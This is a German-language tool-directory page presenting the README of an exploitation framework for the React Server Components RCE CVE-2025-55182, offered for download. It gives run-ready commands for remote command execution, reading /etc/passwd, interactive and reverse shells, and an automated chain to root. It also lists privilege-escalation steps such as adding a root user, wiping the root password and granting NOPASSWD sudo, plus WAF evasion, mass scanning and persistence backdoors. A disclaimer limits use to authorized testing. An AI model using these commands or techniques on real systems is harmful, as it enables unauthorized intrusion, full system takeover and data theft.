Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Cerberus-React2Shell-Scanner-Exploit — Elite-Exploitation-Toolkit für CVE-2025-55182 (React Server Components RCE). Asynchrone polymorphe Payloads, erweiterte WAF/CDN-Umgehung, Proxy-Rotation, Shodan/Censys-Massenscan, Auto-Pwn + Reverse Shells, Nuclei-Vorlagen, K8s-Labor & C2-Dashboard. Verfasst von Sudeepa Wanigarathna – strengstens für autorisierte Red Team- und Penetrationstests. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/cerberus-react2shell-scanner-exploit
Penetrationstest-FrameworksPrivilege EscalationSchwachstellenscannerExploit-FrameworksShellcodeWebanwendungs-ExploitationPost-ExploitationCommand and Control
Lernen & Bildung
Red Teaming
Payload-Entwicklung
Labs & Praxis
GitHubcerberusmrxi/cerberus-react2shell-scanner-exploit

Cerberus-React2Shell-Scanner-Exploit

Repository anzeigen
2157vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Elite-Exploitation-Toolkit für CVE-2025-55182 (React Server Components RCE). Asynchrone polymorphe Payloads, erweiterte WAF/CDN-Umgehung, Proxy-Rotation, Shodan/Censys-Massenscan, Auto-Pwn + Reverse Shells, Nuclei-Vorlagen, K8s-Labor & C2-Dashboard. Verfasst von Sudeepa Wanigarathna – strengstens für autorisierte Red Team- und Penetrationstests.

Teilen

Cerberus React2Shell - Waffenbasiertes Exploitation-Framework

  ██████╗ ███████╗██████╗ ██████╗ ███████╗██████╗ ██╗   ██╗
 ██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔══██╗██║   ██║
 ██║      █████╗  ██████╔╝██████╔╝█████╗  ██████╔╝██║   ██║
 ██║      ██╔══╝  ██╔══██╗██╔══██╗██╔══╝  ██╔══██╗██║   ██║
 ╚██████╗ ███████╗██║  ██║██████╔╝███████╗██║  ██║╚██████╔╝
  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝  ╚═╝ ╚═════╝
  
         React2Shell Exploitation Framework v1.0
              Author: Sudeepa Wanigarathna

🎯 Übersicht

Professionelles Exploitation-Framework für die Next.js Server Actions RCE-Schwachstelle (React2Shell). Demonstriert die vollständige Angriffskette vom ersten Zugriff bis zur Root-Rechteausweitung.

Fähigkeiten:

  • ✅ Automatisierte Schwachstellenerkennung
  • ✅ Remote Code Execution (RCE)
  • ✅ Interaktiver Shell-Zugriff
  • ✅ Linux-Systemaufklärung
  • ✅ Automatisierte Rechteausweitung
  • ✅ Reverse-Shell-Bereitstellung
  • ✅ Datei-Upload/-Download
  • ✅ Root-Zugriffs-Demonstration

🚀 Schnellstart

Grundlegende RCE

# Schwachstelle prüfen
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check

# Befehl ausführen
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id"

Interaktive Shell

python3 interactive_shell.py --target http://127.0.0.1:3000

Vollständige automatisierte Angriffskette

# Vollständige Ausnutzung: RCE → Aufklärung → Root-Zugriff
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root

📁 Framework-Struktur

Cerberus-React2Shell-Hades/
├── react2shell_exploit.py      # Kern-Exploit-Engine (400+ Zeilen)
├── demo_exploit.py              # Automatisierte Angriffskette (290+ Zeilen)
├── interactive_shell.py         # Interaktive Shell (280+ Zeilen)
├── reverse_shell_handler.py     # Reverse-Shell-Listener (180+ Zeilen)
├── post_exploit/
│   ├── linux_enum.py           # Systemaufklärung (330+ Zeilen)
│   ├── priv_esc.py             # Rechteausweitung (320+ Zeilen)
│   └── __init__.py
├── EXPLOITATION_GUIDE.md        # Vollständige Nutzungsdokumentation
├── QUICKSTART.md                # Schnellreferenz
└── BANNER.txt

🔥 Funktionen

Kern-Exploit-Engine

  • Action-ID-Erkennung: Automatische Extraktion aus JavaScript-Bundles
  • Mehrere Payloads: execSync, spawn, eval, mainModule-Varianten
  • Ausgabeextraktion: Parsen der Befehlsausgabe aus Fehlerantworten
  • WAF-Bypass: Payload-Verschleierungstechniken

Post-Exploitation

  • Linux-Aufklärung: SUID/SGID-Binaries, beschreibbare Pfade, Cron-Jobs, Kernel-Version
  • Rechteausweitung: GTFOBins, beschreibbare /etc-Dateien, Docker-Escape, Capabilities
  • Dateioperationen: Upload/Download mit base64-Kodierung
  • Persistenz: Mehrere Backdoor-Methoden

Interaktive Tools

  • Interaktive Shell: Echtzeit-Befehlsausführung mit integrierten Befehlen
  • Reverse Shell: Mehrere Shell-Typen (bash, python, nc, perl)
  • Demo-Modus: 6-stufige automatisierte Demonstration

📖 Nutzungsbeispiele

1. Grundlegende Befehle

# Schwachstellenprüfung
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check

# Befehle ausführen
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "whoami"
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "cat /etc/passwd"

# Verschiedene Payload-Varianten
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --variant spawn

# Mit Verschleierung
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --obfuscate

2. Interaktive Shell

# Shell starten
python3 interactive_shell.py --target http://127.0.0.1:3000

# Verfügbare Befehle:
# - execute <cmd>        : Shell-Befehl ausführen
# - enum                 : Vollständige Aufklärung ausführen
# - escalate             : Rechteausweitung versuchen
# - upload <local> <remote>  : Datei hochladen
# - download <remote> <local>: Datei herunterladen
# - shell <lhost> <lport>: Reverse Shell bereitstellen
# - info                 : Sitzungsinformationen anzeigen
# - exit                 : Beenden

3. Reverse Shell

# Terminal 1: Listener starten
python3 reverse_shell_handler.py --lport 4444

# Terminal 2: Shell bereitstellen
python3 react2shell_exploit.py --target http://127.0.0.1:3000 \
  --revshell --lhost 127.0.0.1 --lport 4444 --shell-type bash

4. Automatisierte Demo

# Vollständige Kette: Erkennung → RCE → Aufklärung → Root
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root

🎯 Angriffskette

Das Framework implementiert eine vollständige 6-stufige Exploitation-Kette:

  1. Erkennung - Server Action IDs aus JavaScript-Bundles extrahieren
  2. Ausnutzung - Funktionierende Action ID finden und RCE erreichen
  3. Verifizierung - Codeausführung mit id-Befehl bestätigen
  4. Aufklärung - Systeminformationen, SUID-Binaries, beschreibbare Pfade sammeln
  5. Ausweitung - Rechteausweitungsvektoren automatisch ausnutzen
  6. Demonstration - Root-Zugriff durch Lesen von /etc/shadow und Auflisten von /root beweisen

🛡️ Rechteausweitungstechniken

Implementierte Methoden

  1. SUID-Binaries (GTFOBins)

    • find, vim, python, perl, bash, awk, sed, less, more, nmap
  2. Beschreibbare /etc-Dateien

    • /etc/passwd - Neuen Root-Benutzer hinzufügen
    • /etc/shadow - Root-Passwort löschen
    • /etc/sudoers - NOPASSWD sudo gewähren
  3. Docker-Escape

    • Ausnutzung eines zugänglichen Docker-Sockets
    • Ausbruch aus privilegierten Containern
  4. Kernel-Exploits

    • DirtyCow (CVE-2016-5195)
    • Dirty Pipe (CVE-2022-0847)
    • PwnKit (CVE-2021-4034)
  5. Linux-Capabilities

    • CAP_SETUID, CAP_DAC_OVERRIDE-Ausnutzung

📊 Statistiken

  • Gesamtzahl der Codezeilen: 1.800+
  • Module: 8
  • Rechteausweitungstechniken: 5
  • Payload-Varianten: 4
  • Shell-Typen: 4 (bash, python, nc, perl)

⚙️ Anforderungen

pip install -r requirements.txt

Abhängigkeiten:

  • requests
  • colorama

📚 Dokumentation

  • EXPLOITATION_GUIDE.md - Vollständiger Nutzungsleitfaden mit Beispielen
  • QUICKSTART.md - Schnellreferenz für gängige Befehle

⚠️ Haftungsausschluss

WARNUNG: Dieses Tool ist nur für autorisierte Sicherheitstests gedacht. Unautorisierter Zugriff auf Computersysteme ist illegal. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben.

Der Autor ist nicht für Missbrauch dieses Tools verantwortlich. Nutzung auf eigene Gefahr.

🎓 Bildungszweck

Dieses Framework ist konzipiert für:

  • Sicherheitsforscher, die Next.js-Schwachstellen untersuchen
  • Penetrationstester mit Autorisierung
  • Sicherheitsschulungen und CTF-Herausforderungen
  • Schwachstellenforschung in kontrollierten Laborumgebungen

📄 Lizenz

MIT-Lizenz (Nur für Bildungszwecke)

👤 Autor

Sudeepa Wanigarathna

  • Experte für Exploit-Entwicklung
  • Sicherheitsforscher
  • Penetrationstester

Version: 1.0
Zuletzt aktualisiert: Dezember 2025

Detaillierte Nutzungsanweisungen finden Sie in EXPLOITATION_GUIDE.md

Tool herunterladen